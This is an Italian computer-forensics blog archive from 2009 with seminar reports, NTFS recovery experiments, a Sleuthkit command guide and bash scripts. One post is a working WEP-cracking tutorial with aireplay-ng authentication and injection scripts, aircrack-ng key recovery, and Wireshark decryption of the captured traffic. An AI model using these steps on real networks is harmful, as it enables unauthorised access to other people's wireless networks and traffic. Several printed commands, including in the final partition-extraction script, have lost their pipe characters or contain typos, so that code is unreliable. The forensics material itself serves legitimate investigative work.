mercoledì 2 dicembre 2009

Classificato al Quinto posto alla DC3 Challenge (la sfida del Dipartimento della Difesa USA sui cybercrimes)


Devo dire che per l'impegno che ci ho messo, davvero poco e frettoloso, sono VERAMENTE CONTENTO ED ORGOGLIOSO di essermi classificato al 5 (Quinto posto) alla DC3 Challenge (la sfida del Dipartimento della Difesa USA sui cybercrimes) nella categoria IMPACT (cittadini extra USA) e 22-esimo nella classifica generale sui 44 finalisti.


sabato 28 novembre 2009

Seminario Matera 28/11/2009 un successo!

Il seminario "SCENA DEL CRIMINE: INDAGINI, PROFILING, COMPUTER FORENSICS" tenutosi oggi (28/11/2009), è stato veramente un successone...

Oltre 100 persone (avvocati, magistrati, forze dell'ordine, investigatori privati, consulenti e semplici appassionati), hanno gremito la sala dell'Hotel S. Domenico, per ascoltare in nostri interventi.

Un pubblico veramente attivo e simpatico!

Per me è stato un onore conoscere il giudice Pietro Errede ed il Dott. Luciano Garofano (ex comandante dei R.I.S. di Parma), col quale ci siamo lasciati in ottimi rapporti e progetti.

Walter Paolicelli è stato veramente in gamba ad organizzare tutto e tutto è andato splendidamente, dall'accoglienza in albergo alla cena e pranzo.

Con l'introduzione dell'Avv. Emilio Nicola Buccico e la moderazione del giudice Errede gli argomenti trattati sono stati:

Lo stato dell'arte delle investigazioni e dei consultenti tecnici/periti:
Garofano: "Nelle indagini scientifiche siamo in ritardo"
Mi sono trovato in perfetta sintonia con tutto ciò che ha detto Garofano, c'è un gap pazzesco tra i giudici/avvocati/PM e i tecnici, questo si riflette anche sulle scelte dei periti, che devono operare sui casi in oggetto d'indagine, per non parlare del linguaggio della scienza ancora estraneo a moltissimi.

Poi è stata la volta dell'Avv. Walter Paolicelli che ha parlato del criminal profiling, puntando l'attenzione sul metodo induttivo e sul software Key Crime. Io e Walter ci siamo confrontati sui metodi deduttivo Vs. induttivo, poichè nel campo della digital forensics, personalmente, credo sia più valido il metodo deduttivo.

Il mio intervento è stato su una panoramica sulla digital forensics, il problema della scelta del tecnico e sul come si misurano le competenze, la mancanza di un protocollo rigido e di regole ben definite e poi un breve e veloce escursus sulle best practices e CAINE.

Ha chiuso i lavori l'Avv. Rocco G. Massa, con una overview sulle truffe online, antiche d'origine ma attuate coi mezzi moderni. Molto simaptico è stato l'ascolto di una telefonata tra un truffatore ed un truffato, dove il truffatore sfotteva apertamente il truffato, che rischiava un infarto dalla rabbia!

Nota personale: sono stato molto contento di conoscere tanta gente che segue questo BLOG e la mailing list di CFI. Ci sono state tante proposte di replicare eventi come questo in altre parti d'Italia, con Università e voglia di fare ed andare avanti! Bene...non mi aspettavo che quelle 4 cose che ho prodotto per la computer forensics avessero tanto seguito ed affetto...mi fa molto piacere...GRAZIE A TUTTI! ; - )

lunedì 23 novembre 2009

De Rerum Informaticorum

Qualcuno decide di seguire un cammino professionale per vari motivi, passioni infantili, un film che gli ha cambiato la vita, un'illuminazione sulla via per Damasco ed altre amenità.

I soggetti "X"

Chiameremo "soggetti X" tutti coloro che presi da un demone, completamente compatibile con la loro personalità, i loro sogni, la loro mente, iniziano a studiare, lavorare, fare esperienza lungo un cammino ben preciso, cercando, limitatamente alle loro capacità, di raggiungere l'eccellenza.
Costoro sono in genere preparati, volenterosi, pieni d'entusiasmo e voglia di fare, a volte riescono a raggiungere i propri obbiettivi, altre volte no, a volte per fattori esterni, per fortuna, per merito, in ogni caso saranno le persone giuste nei posti giusti.

I soggetti "Z"

Chiameremo i "soggetti Z" tutti coloro che non sono stati presi da un demone particolare, ma come foglie in balia del vento, sono stati portati su strade non perfettamente compatibili con la loro personalità e mente.
Costoro saranno sempre apatici, grigi, senza entusiamo ed incapaci di raggiungere obbiettivi eccelsi.
Quest'ultimi tendono, prima o poi, ma anche mai, a cambiare pelle, ad invadere altri settori, auto-referenziandosi e credendo di essere le persone giuste al posto giusto.Raramente tra i soggetti Z ci sono delle vere perle, che per una serie di motivi di vita e di scelte più o meno sbagliate si sono ritrovati per anni chiuse nella loro ostrica, finchè per una casualità o per scelta, hanno incotrato il loro demone, quello giusto, quello che li porterà ad esprimere al massimo le loro facoltà e potenzialità, ma come ho detto, spesso l'avverbio dominante in questo specifico caso è "raramente".

La situazione

I soggetti Z diventano dei veri "virus umani", che attaccano l'organismo della "qualità", diminuendole il valore ed aumentando l'entropia, essi diffondono disinformazione, superficialità, livellando tutto verso il basso.

Tutti sono informatici, dall'assemblatore hardware, al DBA, all'ingegnere di rete, al programmatore cobol, a quello che legge le riviste di hacking, all'amico che scarica i film da E-Mule, al sistemista, al responsabile CED, al cugggggino che usava il Commodore 64, tutti! Senza distinzione di mansioni, competenze, purchè siano legati ad un PC (escluse le segretarie).

Perchè accade questo?

Perchè per fare l'informatico ci vogliono studio, esperienza ed un computer.

Perchè non accade ai medici? Agli architetti? ecc.?

La parola magica è "computer", una macchina da pochi euro, che permette un auto-addestramento, un "prova ed errore", un uso smodato di Internet, portando il "soggetto Z" a credere di aver capito tutto ed anche velocemente, bypassando gli anni di passione, sudore e lacrime del soggetto X, che completamente succube del suo demone ha dovuto rompersi la testa per anni ed anni prima di raggiungere certe qualifiche.
Qualcuno ha mai visto fare autopsie in salotto? Oppure costruire un palazzo in giardino? Solo per metter alla prova le proprie presunte capacità mediche/ingegneristiche?
Ecco perchè in alcune categorie i soggetti Z sono inesistenti!
Il "soggetto Z" è spesso convinto di essere un pari del soggetto X, anzi a volte anche superiore, solo perchè le sue vicissitudine, amicizie, casualità lo hanno portato in luoghi o a ricoprire mansioni, che lo fanno sentire un vero informatico, mentre il povero soggetto X, magari rimane confinato in un garage, solo perchè non ha frequentato i caffè giusti.

Cosa cagionano al sistema i virus-Z?

  1. Abbassamento degli onorari professionali nel mercato.
  2. Confusione tra i committenti.
  3. Informazioni sbagliate e percezioni errate da parte dei "profani" della sacra religione dei bit.

Nell'informatica forense le cose peggiorano, perizie/consulenze fatte coi piedi, incompetenti chiamati alle armi da poveri disinformati o mal consigliati, privi dei mezzi per giudicare il livello professionale o almeno di competenza.

Molti amano avere le Linux Live distro in saccoccia, come se fossero gioielli da ostentare, ma poi si perdono di fronte alla definizione di "offset" o di "partizione", ma sì alla fine chi se ne frega, si usa qualche software per Windows, si fanno due analisi arraffazzonate e son tutti contenti.

Per concludere il soggetto Z può essere orgoglioso e soddisfatto di affermare: "Sì sono un esperto informatico, finalmente smetto di fare il geometra".

di Nanni Bassetti

giovedì 15 ottobre 2009

Nomi dei file dopo la formattazione...come mai?

Se si formatta un disco o una pendrive usb, per esempio NTFS, sia con formattazione lenta sia con quella veloce, viene ricreata la MFT (Master File Table), giusto?
I file non vengono cancellati, spariscono alla vista, solo perchè non v'è più un indice, una MFT, che dice al file system dove sono e come si chiamano, ergo usiamo il carving ,(tecnica che non tiene conto del file system), per recuperarli...peccato che si perdono i nomi ed i metadati (data ed ora,e cc.)...giusto?
Non c'è più modo per riavere i nomi dei file, perchè non c'è più MFT che li conserva, essa è stata sovrascritta dalla nuova MFT e tutte le MFT si allocano all'inizio del disco.
Ma come fa RECUVA o R-Studio a recuperare i nomi dei file, ora e date???


L'ho provato su una chiavetta formattata 2 volte, una veloce ed una lenta e poi anche formattando da Linux e comunque riesco a ritrovare alcuni file con il loro nome:




Ho provato con R-Studio ed anche lui ci riesce...solo che ho notato che recupera alcuni metafile della MFT tipo $MFTMirr, $MFTReconstructed, $AttrDef, $Bitmap, $Upcase, $MFT, $Logfile, $Boot che non sono a "0".



Quindi la spiegazione è che in qualche maniera questi metafile non sono stati sovrascritti con quelli nuovi del nuovo filesystem NTFS quando si formatta...però è strano!


Allora ho voluto provare a "scavare", per capire meglio ed ecco cosa ho ricavato:

strings -a -t d -e l /dev/sdb (ricavo le stringhe contenute nel dispositivo)
...
...
42281714 Dl3.jpg
42282738 Dl4.jpg
42282858 15062008013.jpg
42283762 190820~2.JPGjpg0
42283882 19082008023.jpg
42284786 190820~3.JPGjpg0
42284906 19082008024.jpg
42285810 NANNIR~1.JPGa640
42285930 nanniricciola640.jpg
42286834 NANNIL~1.JPGjpg0
42286954 nannileccia.jpg
...
etc.

Guardo con l'editor esadecimale l'offset in byte 42286954 corrispondente a quello riferito alla stringa: nannileccia.jpg




xxd -s 42286954 -l 512 /dev/sdb
2853f6a: 6e00 6100 6e00 6e00 6900 6c00 6500 6300 n.a.n.n.i.l.e.c.
2853f7a: 6300 6900 6100 2e00 6a00 7000 6700 8000 c.i.a...j.p.g...
2853f8a: 0000 4800 0000 0100 0000 0000 0400 0000 ..H.............
2853f9a: 0000 0000 0000 9f01 0000 0000 0000 4000 ..............@.
2853faa: 0000 0000 0000 0040 0300 0000 0000 8e3f .......@.......?
2853fba: 0300 0000 0000 8e3f 0300 0000 0000 22a0 .......?......".
2853fca: 0165 2800 0100 ffff ffff 8279 4711 0000 ..........e(........yG...
2853fda: 0000 0000 0000 0000 0000 0000 0000 0000 ................
2853fea: 0000 0000 0000 0000 0000 0000 0000 0000 ................
2853ffa: 0000 0000 0b00 0000 0000 0000 0000 0000 ................
285400a: 0000 0000 0000 0000 0000 0000 0000 0000................

Provo a cerca se corrisponde ad un i-node (prova idiota lo so! ma visto che ci siamo ; - ) )


(42286954 - 0)/512 = 82591 (dato che la partizione inizia dal settore 0 ed il cluster size è di 512 bytes)


ifind -f ntfs -o 0 -d 82591 /dev/sdb
Inode not found

Quindi i nomi file ci sono sulla pendrive, ma non sono contenuti in file allocati (giustamente dico io), ma i programmi come Recuva, Get Data Back o R-Studio riescono a riassociare questi nomi file buttati nello spazio del disco formattato con i file presenti e quindi ricostruire l'associazione file - metadato.
Come facciano...bho?
Con Autopsy chiaramente non risultano file cancellati e con una ricerca per DATA UNIT, inserendo il valore 82591, si ottiene la visualizzazione grezza di quel cluster, contenente la stringa "nannileccia.jpg".



Bhè spero sia argomento interessante ;)
Attendo Vs. suggerimenti


Nanni Bassetti

lunedì 5 ottobre 2009

Sgamare le JPGs alterate

Ciao a tutti,
leggevo questo:
http://www.wired.com/threatlevel/2007/08/researchers-ana/
ed ho scaricato il sorgente in C++, quando l'ho compilato ha dato errore, ho corretto l'errore (un INT che doveva diventare un FLOAT e un newline a fine codice), ho ricompilato ed ora funziona bene:

L'ho messo ha disposizione di tutti voi QUI:

Jpegquality.zip

Sgamare le JPGs alterate

Ciao a tutti,
leggevo questo:
http://www.wired.com/threatlevel/2007/08/researchers-ana/
ed ho scaricato il sorgente in C++, quando l'ho compilato ha dato errore, ho corretto l'errore (un INT che doveva diventare un FLOAT e un newline a fine codice), ho ricompilato ed ora funziona bene: 
L'ho messo ha disposizione di tutti voi QUI:

domenica 12 aprile 2009

Raw2Fs e Scripts4CF scripts and tools...

Raw2FS, acronimo che serve ad indicare lo scopo di questo mio nuovo bash script per Linux, ossia ricondurre i nomi dei file estratti con tool come Foremost, al nome presente nel file system, con tutto il suo percorso.
Sappiamo che Foremost, come altri carver, salvano i file nominandoli col numero di settore (da 512 bytes), di partenza, in cui questi si trovano, quindi mi serviva uno strumento per risalire all'eventuale nome presente nel file system.
Se il file "carvato" non ha corrispondenza con un i-node allora il tool salva l'output hex/ascii di un settore/cluster/block in  un file di testo.
Tutto è riassunto in un report in HTML.
Ma visto che ero in argomento, perchè non implementare anche una ricerca per stringhe?Raw2Fs permette di cercare più keywords oppure di caricare un file di testo, generato dal "grepping" e riportare tutti i file nel file system che contengono quelle keywords, se invece la keyword è contenuta nello slack space, allora viene salvato l'output hex/ascii di un settore/cluster/block.

Il motore di tutto è questo:
se ho un file nominato 00001234.doc (carving), quel numero "1234" rappresenta il settore in cui il file è stato trovato dal carver, quindi lo si moltiplica per 512 (dimensione minima del settore) e si ottiene l'offset in byes del file, che chiamremo $offcarv.
Poi il tool cerca a quale partizione appartiene il file, trova l'inizio della partizione/spazio non allocato e moltiplica lo starting sector x la dimensione del settore/cluster/blocco (es. 1024), che chiameremo $ss, per ottenere l'offset in bytes della partizione, che chiameremo $offbytepart. (ricodiamo che per fat -> settore, ntfs -> cluster, ext2/3 -> blocco).
Ed ecco la formuletta:
($offcarv - $offbytepart) / $ss
Ossia l'offset del file carvato - l'offset di inizio partizione diviso la grandezza del settore/cluster/blocco usato in quella partizione da quel file system.
Poi tramite i tools dello SleuthkitRaw2Fs fa tutto il resto.... :)
Per le keywords stesso discorso, solo che nel file derivante dalla ricerca con strings e grep, si trovano già gli offset in bytes delle stringhe, quindi non c'è bisogno di moltiplicare per 512.
Dopo quest'ennesima "fatica", ho pensato di lanciare il sito:

http://scripts4cf.sf.net

contenente alcuni scripts utili, ad oggi realizzati da me e da Denis Frati, ma aperto ad ospitare anche scripts fatti da altri, insomma una vera e propria piccola biblioteca di tools costruiti dagli "investigatori digitali", man mano che si trovano a dover affrontare e risolvere i problemi che incontrano durante le loro indagini e/o esercizi.
Spero di aver fatto cosa utile... ;)

venerdì 20 marzo 2009

Il mistero di $LogFile nell'MFT

PREMESSA: questo articolo è basato su un test da me condotto e mi piacerebbe avere verifica dai lettori di questo blog.


Tempo fa ho notato una stranezza, non avendo cavato ancora una soluzione, ho pensato di sottoporla al pubblico del mio blog, sottolineo che è basato su una sola prova, sulla quale non ho ancora una spiegazione, che potrei non avere per mia "ignoranza", quindi vorrei altre opinioni e/o sperimentazioni.


Detto questo passo a descrivere l'esperimento:


da Linux (senza montare nè in lettura nè in scrittura)
1) attacco una pendrive da 128Mb formattata in NTFS
2) Faccio l'immagine dd e la chiamo pen1.dd
3) faccio l'md5sum


da Windows XP:
4) attacco il pendrive da 128Mb
5) la stacco con RIMOZIONE SICURA


da Linux
6) faccio immagine dd e la chiamo pen2.dd
7) faccio md5sum
8) confronto i due md5 e noto che SONO DIVERSI.


La pendrive è vuota, la pendrive NON è stata sfogliata, la pendrive è stata solo attaccata a Windows e staccata con rimozione sicura.


A questo punto prendo le due immagini e le confronto con un programma (per windows) che si chiama HexCMP2


Cerco le differenze e tutte cadono nel cluster del file $LogFile, che è il journal di NTFS.
Per esempio l'ultima differenza è nell'offset in decimale: 40203262


9) faccio mmls pen1.dd ricavo l'offset di partenza della partizione che è 32
10) fsstat -f ntfs -o 32 pen1.dd e ricavo la dimensione del cluster che è
512
11) divido 40203262 per 512=78521 che è l'offset in settori
12) ifind -f ntfs -o 32 -d 78521 pen2.dd
mi tira fuori: 2-128-1
ffind -f ntfs -o 32 pen2.dd 2-128-1
mi tira fuori
//$LogFile
13) istat -f ntfs -o 32 pen1.dd 2-128-1 | less
istat -f ntfs -o 32 pen2.dd 2-128-1 | less


e noto che la data e l'ora sono identici, quindi il file $Logfile viene modificato, ma i suoi metadati no! Why?


RIFACCIO il procedimento SENZA la RIMOZIONE SICURA, ma staccando brutalmente la chiavetta ed ottengo gli stessi risultati, solo che l'ultima modifica è all'offset decimale:
40174590
diviso 512 =78465
Quindi meno modifiche con la rimozione bruta.

Per concludere ho notato che quando si fa la RIMOZIONE SICURA, sul display del pendrive, appare la scritta WRITE (è un pendrive con display, lettore MP3), quindi quella procedura scrive qualcosa...

PROBLEMA:
Se un CTU maldestro, attacca un disco NTFS ad una stazione Windows, senza il Write Blocker, altera il disco originale, però non v'è traccia di questa alterazione, in termini di timeline....l'hash code che calcolerà sarà quello che verrà generato dall'hard disk già alterato, quindi copia ed originale avranno lo stesso hash code.
In un secondo tempo, un CTP riprende il disco originale, lo attacca con Write Blocker, fa l'immagine e l'hash coinciderà con quello del CTU, dato che il CTP non ha alterato alcunchè...
In soldoni, il CTU ha modificato l'originale, ma non c'è traccia di data ed ora successiva al giorno del sequestro, quindi non v'è modo di dimostrare che ha attaccato l'hd originale ad un sistema sprotetto da
scrittura.
Il problema è chiaramente più teorico che pratico, ci son cose peggiori in giro ;) 


Per concludere, le stesse prove fatte con FATx danno MD5 identici, forse perchè FATx non è Journaled, mentre NTFS sì...e $Logfile è il journal di ntfs.


Ogni opinione, smentita, conferma è gradita !!!  : - )

Nanni Bassetti

venerdì 6 marzo 2009

The Sleuthkit - mini guida veloce

Spesso accade di dimenticare tutte le potenzialità ed i tools di Sleuthkit, quindi ho deciso di scrivere una piccola guida veloce per illustrare gli usi più prêt-à-porter di questa utilissima suite di strumenti per la computer forensics, sviluppata da Brian Carrier.

Iniziamo dal disco/immagine

mmls /dev/sdaX o mmls disk.dd

serve a visualizzare le partizioni di un device o di un file immagine, fornendoci in output lo starting sector, molto utile per determinare l'offset di inizio partizione.
'Mmls' è simile a' fdisk-lu 'in Linux con alcune differenze. Vale a dire, che mostra i settori che non sono stati utilizzati in modo tale che questi possono essere usati per cercare dei dati nascosti. Inoltre, fornisce anche il valore della lunghezza delle partizioni in modo che possa essere usato con 'dd' più facilmente per estrarle.

fsstat -f file_system -o offset disk.dd

serve a fornire dati importanti sul file system presente sul dispositivo o file immagine del dispositivo in analisi, compreso un dato particolarmente interessante, ossia il block/cluster size.

ifind -f file_system -o offset -d numero_del_cluster disk.dd

serve a fornire l'i-node appartenente a quel determinato cluster. Il numero del cluster si ricava dall'offset decimale in bytes, che stiamo osservando, diviso la dimensione del cluster/blocco determinata da fsstat.
Se troviamo, per esempio, una stringa che inizia all'offset decimale 101345 in un file immagine DD, per ricavare l'i-node effettueremo 101345/dim_cluster.

ffind -f file_system -o offset disk.dd i-node

serve a fornire il nome del file corrispondente all'i-node.

istat -f file system -o offset disk.dd i-node

serve a fornire i metadati relativi al file corrsipondente a quell'i-node.

fls -d -r -p -f file_system -o offset disk.dd

serve a visualizzare i file cancellati, ricorsivamente in tutte le sottocartelle e col percorso completo (-p).

fls -a -l -p -r -f file_system -o offset disk.dd

lista tutti i files non cancellati.

icat -f file_system -o offset -r disk.dd i-node > nomefile.ext

Serve ad esportare il contenuto del file relativo all'i-node su file (nomefile.ext).

sigfind -t file_system disk.dd

Serve a cercare le "firme" che identificano i vari file system, -t list per visualizzare i vari file system supportati.

Altre informazioni preziose sono:
http://wiki.sleuthkit.org/index.php?title=FS_Analysis

The SleuthKit Manual:
http://wiki.sleuthkit.org/index.php?title=TSK_Tool_Overview

Esempio di come estrarre una stringa da uno spazio non allocato

Normalmente per cercare le stringhe utlizziamo la pipe di comandi:

strings -t d disk.dd | grep -i "abcd"
("-t d"  genera l'offset in decimale)


 che risulta essere più veloce del comando:

grep -iaob "abcd" disk.dd

-i ignora il maiuscolo/minuscolo;
-a tratta il file binario come se fosse testuale;
-b stampa il byte offset;
-o Mostra solo la parte di linea che coincide con la stringa cercata;


$ mmls disk.dd
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors


     Slot        Start                     End                   Length             Description
00:  Meta    0000000000   0000000000   0000000001   Primary Tabl
01:  -----     0000000000    0000000062   0000000063   Unallocated
02:  00:00   0000000063   0174000014  0173999952  NTFS (0x07) 



Se vogliamo cercare le stringhe nello spazio non allocato di disk.dd e considerando che lo starting sector della partizione sia 63 e che il file system sia NTFS, allora:

1) Estraiamo lo spazio non allocato dal disco
blkls -f ntfs -o 63 disk.dd > disk.blkls

2) Estraiamo le stringhe e prendiamo solo quelle che contengono "abcdefg", dal solo spazio non allocato estratto da blkls (disk.blkls)
strings -t d disk.blkls | grep -i "abcdefg"
per esempio un risultato potrebbe essere: 10389739: abcdefg dove 10389739 è l'offset in bytes

3) Troviamo la dimensione del cluster impostata nel file system:
fsstat -f ntfs -o 63 disk.dd
<...>
CONTENT INFORMATION
----------------------------------
Sector Size: 512
Cluster Size: 1024
Total Cluster Range: 0 - 21749992
Total Sector Range: 0 - 173999950



4) Dividiamo 10389739 per 1024 ed otteniamo il numero 10146 che è il cluster che contiene la stringa "abcdefg", però nel file disk.blkls e non nel file immagine, quindi dobbiamo convertire l'indirizzo del cluster del file immagine disk.blkls in un indirizzo reale del file immagine originale, cioè disk.dd

5) blkcalc -f ntfs -o 63 -u 10146 disk.dd otteniamo 59382 che è l'indirizzo reale del cluster che contiene la stringa cercata.

6) Possiamo visualizzare il cluster usando il comando:
blkcat -f ntfs -o 63 disk.dd 59382 | less

7) Adesso cerchiamo l'i-node che ha un pointer al cluster 59382
ifind -f ntfs -o 63 -a -d 59382 disk.dd
che ci ritorna il numero 493-128-1 come risultato.

8) Reperiamo informazioni sui metadati che si riferiscono all'i-node 493:
istat -f ntfs -o 63 disk.dd 493
<...>
$FILE_NAME Attribute Values:
Flags: Archive
Name: pippo.jpg
Parent MFT Entry: 458   Sequence: 122
Allocated Size: 0       Actual Size: 0
Created:        Tue Mar 18 15:05:19 2008
File Modified:  Tue Mar 18 15:05:19 2008
MFT Modified:   Tue Mar 18 15:05:19 2008
Accessed:       Tue Mar 18 15:05:19 2008



9) Vediamo se c'è ancora un file associato all'i-node:
ffind -f ntfs -o 63 -a disk.dd 493
 /Document and Settings/spectra/Documenti/pippo.jpg
abbiamo trovato un file che si chiama pippo.jpg.

10) Recuperiamo il file pippo.jpg
icat -f ntfs -o 63 -r disk.dd 493 > pippo.jpg

Consideriamo che lo starting sector della partizione sia 63, che disk.dd sia NTFS, tramite il comando icat esportiamo il contenuto del file basandoci sul suo numero di i-node.

Spero che questo piccolo manualetto pratico sia utile a tutti quelli, che come me, cominciano ad avere l'had disk biologico sempre più full : - D

Nanni Bassetti

sabato 24 gennaio 2009

Samsung NC10 - Wep Cracking

Premetto che quest'articolo è solo a fini didattici, detto questo possiamo iniziare a parlare di come approntare il nostro netbook Samsung NC 10 per il wep cracking.

Primo step (Linux onboard):

Installare Linux Ubuntu o Kubuntu su una partizione libera oppure tramite Wubi, quest'ultimo sistema, vi permette di installare Linux direttamente da Windows, evitando così tutti i problemi di partizionamento ed una volta installato, al reboot del computer, avrete la doppia scelta Windows o Linux.

Secondo step (installiamo i driver MadWifi):

Facciamo il boot da Linux.
Installiamo i drivers wireless per Linux:
bisogna installare il pacchetto build-essential e compilare i driver madwifi ed i madwifi-tools (sudo apt-get install madwifi-tools), ma occorre disabilitiare i driver con restrizioni che riconoscono la scheda ma non le permettono di funzionare:
Sistema>Amministrazione>Driver Hardware e cliccare sul tasto Disattiva in basso a destra, quindi riavviare il sistema.
Dopo queste operazioni, scarichiamo gli ultimi driver madwifi da qui, ed estraiamoli sul Desktop, apriamo un terminale e digitiamo:
sudo apt-get install build-essential, che è il pacchetto contenente i software necessari alla compilazione dei driver, quindi sempre da terminale, si passerà alla compilazione dei drivers:
cd Scrivania/madwifi-hal* (se abbiamo scompattato i drivers sul Desktop)
sudo make
sudo make install
sudo modprobe ath_pci


Per far sì che i drivers siano caricati automaticamente all’avvio.
sudo gedit /etc/modules o sudo kate /etc/modules
e in fondo al file, aggiungiamo:
ath_pci
salviamo e riavviamo.
Al riavvio successivo, la scheda wireless dovrebbe essere visibile e configurabile cliccando sull’icona di Network Manager nel tray, oppure, vi consiglio di usare WiCd e disinstallare il Networtk Manager.
(Nota personale: dopo tutta questa procedura, ho pure ripristinato i driver con restrizioni e tutto funziona)

Terzo Step (armiamo il sistema):

Scarichiamo la suite Aircrack-ng da Installa pacchetti o da terminal windows digitando:

sudo apt-get install aircrack-ng

Dopo quest'operazione digitiamo in terminal window il comando:

iwconfig

dovremmo vedere una cosa simile (ho oscurato i miei riferimenti con delle X):


wifi0 no wireless extensions.

ath0 IEEE 802.11g ESSID:"XXXXXX" Nickname:""
Mode:Managed Frequency:2.437 GHz Access Point: XX:XX:XX:XX:XX:XX
Bit Rate:24 Mb/s Tx-Power:18 dBm Sensitivity=1/1
Retry:off RTS thr:off Fragment thr:off
Power Management:off
Link Quality=32/70 Signal level=-61 dBm Noise level=-93 dBm
Rx invalid nwid:780 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0


Adesso ci tocca mettere la nostra scheda wireless (ath0) in "Monitor mode", quindi digitiamo:

sudo airmon-ng stop ath0
sudo airmon-ng start wifi0


poi

iwconfig
wifi0 no wireless extensions.

ath0 IEEE 802.11g ESSID:"" Nickname:""
Mode:Monitor Frequency:2.437 GHz Access Point:
Bit Rate:24 Mb/s Tx-Power:18 dBm Sensitivity=1/1
Retry:off RTS thr:off Fragment thr:off
Power Management:off
Link Quality=32/70 Signal level=-61 dBm Noise level=-93 dBm
Rx invalid nwid:780 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0


A questo punto dobbiamo rilevare le reti disponibili:
scriviamo:

sudo airodump-ng ath0

e avremo un output del genere:

CH 11 ][ BAT: 34 mins ][ Elapsed: 8 s ][ 2009-01-24 12:32

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:XX:2E:XX:XX:A8 8 4 2 0 11 54. WEP WEP Pippo
00:E4:AA:73:68:XX 28 27 0 0 6 54. WPA TKIP PSK
BSSID STATION PWR Rate Lost Packets Probes

dal quale capiamo che c'è una rete wireless protetta dal WEP, sul canale 11 con MAC Adddress: 00:XX:2E:XX:XX:A8 e ESSID: Pippo

adesso possiamo iniziare l'attacco, apriamo 4 terminal windows, nella prima scriviamo:

sudo airodump-ng atho -w pacchetti_pippo --bssid 00:XX:2E:XX:XX:A8 -c 11

Ma, facciamo un passo indietro, prima di lanciare airodump-ng, dobbiamo scrivere un paio di script bash:

primo.sh
# /bin/bash/
# questo script serve ad autenticarvi presso l'AP (Access Point) da attaccare
#echo "Scrivi il mio mac:"
#read mio_mac
echo "Scrivi l'interfaccia settata in monitor mode:"
read i
# qui mettete il Mac della vostra scheda
# lo scoprite con iwconfig
mio_mac="00:00:00:00:00:00"
echo "scrivi il MAC ADDRESS DELL'AP da attaccare"
read mac_ap
echo "scrivi l'essid della wlan da attaccare:"
read SSID_wlan
aireplay-ng -1 0 -e $SSID_wlan -a $mac_ap -h $mio_mac $i

Qui i dati saranno il MAC di Pippo e il nome Pippo (essid).


Lanciamo primo.sh con:


sudo sh primo.sh

Poi scriviamo secondo.sh:
# /bin/bash/
# qui mettete il Mac della vostra scheda
# lo scoprite con iwconfig
mio_mac="00:00:00:00:00:00"
echo "Scrivi l'interfaccia settata in monitor mode:"
read i
echo "Scrivi ESSID dell'AP:"
read e
echo "scrivi il MAC ADDRESS DELL'AP"
read mac_ap
aireplay-ng -3 -e $e -b $mac_ap -h $mio_mac $i


lanciamo secondo.sh con:


sudo sh secondo.sh

Questo script serve a iniettare (packet injection), i pacchetti sull'AP, al fine di generare traffico e poter catturare molti pacchetti, da dare in pasto all'ultima arma: aircrack-ng

nell'ultima terminal window scriviamo:

sudo aircrack-ng -z -b mac_di_pippo pacchetti_pippo*.cap

ma basterebbe anche solo:
sudo aircrack-ng -z pacchetti_pippo*.cap

lasciamolo lavorare....dopo un tot. di tempo, dai 3 ai 10 minuti, a seconda della forza del segnale, otterrete una key found in esadecimale:

KEY FOUND! [ XX:D1:F2:67:4D:18:6B:XX:XX:XX:1X:XX:XX ]
Decrypted correctly: 100%

A questo punto abbiamo la password in esadecimale, la possiamo già usare così, inserendola nel nostro gestore di reti, sia in Windows sia in Linux, la WEP Key Hex e non la WEP Key Passphrase.
Però, se vogliamo vedere se caso mai è una key umanamente leggibile possiamo provare a scrivere questo:

echo key_trovata xxd -r -p

Adesso rimane l'ultimo problema, come trovare la sottorete ed il gateway dell'AP di Pippo?

lanciamo Wireshark, che avete previamente scaricato ed installato, poi apriamo i pacchetti pippo_pacchetti.cap (da File->Apri)
andiamo a su Edit -> Preferenze-> Protocolli
sceliamo il protocollo IEEE 802.11
ed inseriamo nel campo key1 la key che abbiamo trovato, poi un bel Applica ed infine un OK.
A questo punto vedremo i paccchetti in chiaro, con anche i botta e risposta del gateway col nostro computer, da qui si può risalire a che sottorete appartenga l'AP attaccato e qual'è il gateway.
Per i DNS, basterà usare gli OpenDNS ed il gioco è fatto!

Chiaramente, il wireshark, può anche non servire, se l'AP ha il DHCP attivato, quindi assegna automaticamente indirizzo IP, Gateway e DNS.

Infine scriviamo:

sudo rmmod ath_pci
e
sudo modprobe ath_pci

al fine di ripristinare la nostra scheda wireless per poter navigare.


Naturalmente, si può ampliare il discorso degli attacchi aireplay, del forging del MAC della propria scheda, dell'uso di Kismet...ma questo lo lascio a voi ;)



Nanni Bassetti


sabato 10 gennaio 2009

MultiFS Detector and Extractor

Dall'esercizio proposto da Mario Pascucci (QUI), mi è venuta l'ispirazione per scrivere questo scriptino, che non fa altro che cercare, tramite sigfind, le signature 55AA delle partizioni FATx e NTFS, e poi dagli offset, ricavati dalla moltiplicazione del numero di settore, trovato da sigfind, per 512 bytes, ricava il valore dei byte 32,33,34,35 delle FATx o da 40 a 48 per le NTFS, trovate e li converte in Big Endian, per poi calcolare la lunghezza totale della partizione in settori.
Infine, crea tutte le immagini dd contenenti le possibili partizioni nascoste.


Sicuramente è grezzo, però abbastanza veloce, su 2Gb di pen-drive con tre strati, ci ha messo poco più di 20 minuti.


Attualmente funziona su Fat12,Fat16,Fat32,NTFS,Ext2/3



#!/bin/bash
# MultiFS detector and extractor by Nanni Bassetti - Blog: http://www.nannibassetti.com/dblog WEB Site: http://www.nannibassetti.com
# It can detect and extract hidden file systems and partitions from the mass memory support.
# It runs in this way e.g.: sh multifs.sh fat disk.dd or multifs.sh fat /dev/sda
# It works only on ntfs,fat12,fat16,fat32, ext2,ext3.
# Important things:
# FATx: sector size; bytes 11-12
# ext2/3: Block size (saved as the number of places to shift 1,024 to the left); bytes 24-27
# NTFS: sector size bytes; from 11 to 12
# ReiserFs: sector size bytes; 12-13


file=$2 # file or dev
fs=$1 # file system
date
# looking for the signatures
sigfind -t $fs $file > sigs.txt
# FAT case
if [ "$fs" = "fat" ]
then
# taking only the sectors
for i in $(cat sigs.txt awk -F "Block:" '{print $2}'awk '{print $1}')
do
offset=$(( $i*512 ))
j=$(( j+1 ))
# controlling the word "FAT" inside the target partition
fat_flag=$(xxd -s $offset -l 512 $file grep -i FAT)
if [ "$fat_flag" ]
then
# looking for the sector size
start_bs=$(echo $offset + 11 bc)
